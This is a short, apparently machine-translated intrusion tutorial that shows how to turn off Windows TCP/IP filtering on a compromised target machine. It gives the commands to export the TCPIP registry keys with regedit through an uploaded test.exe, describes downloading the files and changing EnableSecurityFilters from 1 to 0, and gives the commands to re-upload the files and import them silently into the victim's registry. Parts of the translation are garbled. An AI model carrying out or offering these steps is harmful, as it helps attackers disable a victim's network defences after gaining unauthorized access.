Modify TCP/IP filtering through the Registry

"Regedit-e d:/1.reg HKEY_LOCAL_MACHINE/system/controlset001/services/TCPIP" # export the first entry of TCP/IP filtering in the Registry
D:/test.exe "Regedit-e d:/2.reg HKEY_LOCAL_MACHINE/system/controlset002/services/TCPIP" # export the second part of TCP/IP filtering in the Registry
D:/test.exe "Regedit-e d:/3.reg HKEY_LOCAL_MACHINE/system/CurrentControlSet/services/TCPIP" # export the third part of TCP/IP filtering in the Registry
Then return to stream or FSO and find that 1.reg, 2.reg, 3. Reg has been quietly lying there ~
Set 1.reg, 2.reg, 3. reg is downloaded back to your hard disk and edited. Change the TCP/IP filtering areas. 1. reg finds "enablesecurityfilters" = DWORD: 00000001, changes the last number 1 to 0, and then changes 2.reg, 3.reg. the change method is the same, and I will not be arrogant ~
Then we set 1.reg, 2.reg, 3. reg then returns the data to the target machine (Here we want to select the overwrite mode, because we do not have the permission to delete the original 1.reg, 2.reg, 3.reg). After the upload is successful, we will return to the 〖 wscript. shell command:
D:/a004/tggtwe /****. COM/uploadsoft/test.exe "Regedit-s d:/a004/tggtwe /****. COM/uploadsoft/1.reg" # In quiet mode, 1. reg import to his registry
D:/a004/tggtwe /****. COM/uploadsoft/test.exe "Regedit-s d:/a004/tggtwe /****. COM/uploadsoft/2.reg" # In quiet mode, complete the modification. reg import to his registry
D:/a004/tggtwe /****. COM/uploadsoft/test.exe "Regedit-s d:/a004/tggtwe /****. COM/uploadsoft/3.reg" #3. reg import to his registry